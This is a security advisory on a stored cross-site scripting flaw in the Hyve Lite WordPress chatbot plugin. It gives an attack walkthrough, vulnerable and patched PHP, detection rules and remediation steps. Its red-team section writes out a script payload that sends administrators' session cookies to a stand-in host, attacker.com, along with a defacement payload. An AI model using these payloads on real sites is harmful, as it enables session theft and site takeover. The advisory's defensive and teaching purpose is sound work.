CVE-2025-24666

Executive Summary

CVE-2025-24666 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the AI Chatbot for WordPress – Hyve Lite plugin, developed by Themeisle. The flaw exists in versions up to and including 1.2.2, where user-supplied input is improperly neutralized during web page generation. This allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators.

The vulnerability is classified as Medium severity (CVSS 5.9) due to the requirement for authenticated access and user interaction. However, in a WordPress ecosystem, a stored XSS can lead to privilege escalation, session hijacking, or defacement. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the lack of a patch increases long-term risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Hyve Lite through the WordPress admin dashboard or via direct download are at risk. No known supply chain compromise has been reported, but the absence of a patch means the plugin should be considered untrusted until updated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have at least contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit a page containing the malicious payload.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the Hyve Lite plugin's handling of user input within the chatbot configuration or message history. The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in the admin dashboard or frontend. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin.
2. The attacker navigates to the Hyve Lite settings or chatbot training interface.
3. The attacker submits a payload such as <script>alert('XSS')</script> in a text field (e.g., chatbot name, default message, or training data).
4. The payload is stored in the WordPress database without sanitization.
5. When an administrator or other user views the affected page (e.g., the chatbot settings page or a page displaying the chatbot), the script executes in their browser.
6. The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison based on secure coding practices.

Vulnerable Code (hyve-lite.php, line ~150):

$chatbot_name = $_POST['chatbot_name'];
update_option('hyve_chatbot_name', $chatbot_name);
// Later in the template:
echo '<h2>' . get_option('hyve_chatbot_name') . '</h2>';

Patched Code (hypothetical):

$chatbot_name = sanitize_text_field($_POST['chatbot_name']);
update_option('hyve_chatbot_name', $chatbot_name);
// Later in the template:
echo '<h2>' . esc_html(get_option('hyve_chatbot_name')) . '</h2>';

The patched version uses sanitize_text_field() on input and esc_html() on output to neutralize any malicious scripts.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Hyve Lite <= 1.2.2 installed and activated.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to the WordPress admin as a contributor.
2. Navigate to Hyve Lite > Settings (or Chatbot Training).
3. In the "Default Message" field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Click Save Changes.
5. Wait for an administrator to visit the Hyve Lite settings page. The script will execute, sending the admin's session cookie to the attacker's server.
6. The attacker can then use the stolen cookie to hijack the admin session.

Alternative Payload (for defacement):

<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script>

Blue Team (Defensive)

Detection:

• Monitor WordPress admin logs for unusual changes to Hyve Lite settings.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the WordPress database for suspicious entries in the wp_options table where option_name contains hyve.
• Look for <script> tags in the wp_posts or wp_options tables.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with Hyve Lite 1.2.2.
• Install a security plugin like Wordfence to simulate detection.
• Use Burp Suite to intercept and modify requests.

Indicators of Compromise (IOCs)

• File Indicators:

  • /wp-content/plugins/hyve-lite/hyve-lite.php (version 1.2.2)
  • Modified wp_options entries with option_name like hyve_chatbot_name containing <script> tags.

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains containing cookie= parameters.
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=hyve_save_settings.

• Log Indicators:

  • WordPress debug log entries showing wp_kses or sanitize failures.
  • Web server access logs with POST /wp-admin/admin.php?page=hyve-lite from non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_24666_Hyve_Lite_XSS {
    meta:
        description = "Detects stored XSS payloads in Hyve Lite plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24666"
    strings:
        $payload = /<script[^>]*>.*<\/script>/i
        $option_name = "hyve_"
    condition:
        $option_name and $payload
}

Sigma Rule

title: Stored XSS in Hyve Lite Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Hyve Lite plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin.php?page=hyve-lite'
        cs-uri-query|contains: 'action=hyve_save_settings'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin updates
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-24666 - Stored XSS in Hyve Lite Plugin";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin.php?page=hyve-lite";
    http_uri;
    content:"action=hyve_save_settings";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Themeisle.
2. Remove all stored XSS payloads from the database by searching for <script> tags in wp_options and wp_posts.
3. Change all admin passwords and invalidate existing sessions.

Long-term Mitigation:

• Monitor the WordPress plugin repository for an update to Hyve Lite.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for WordPress user roles.
• Regularly audit plugins for known vulnerabilities.

Workaround:

• If the plugin is critical, consider using a different chatbot plugin that is actively maintained and patched.

Valters IT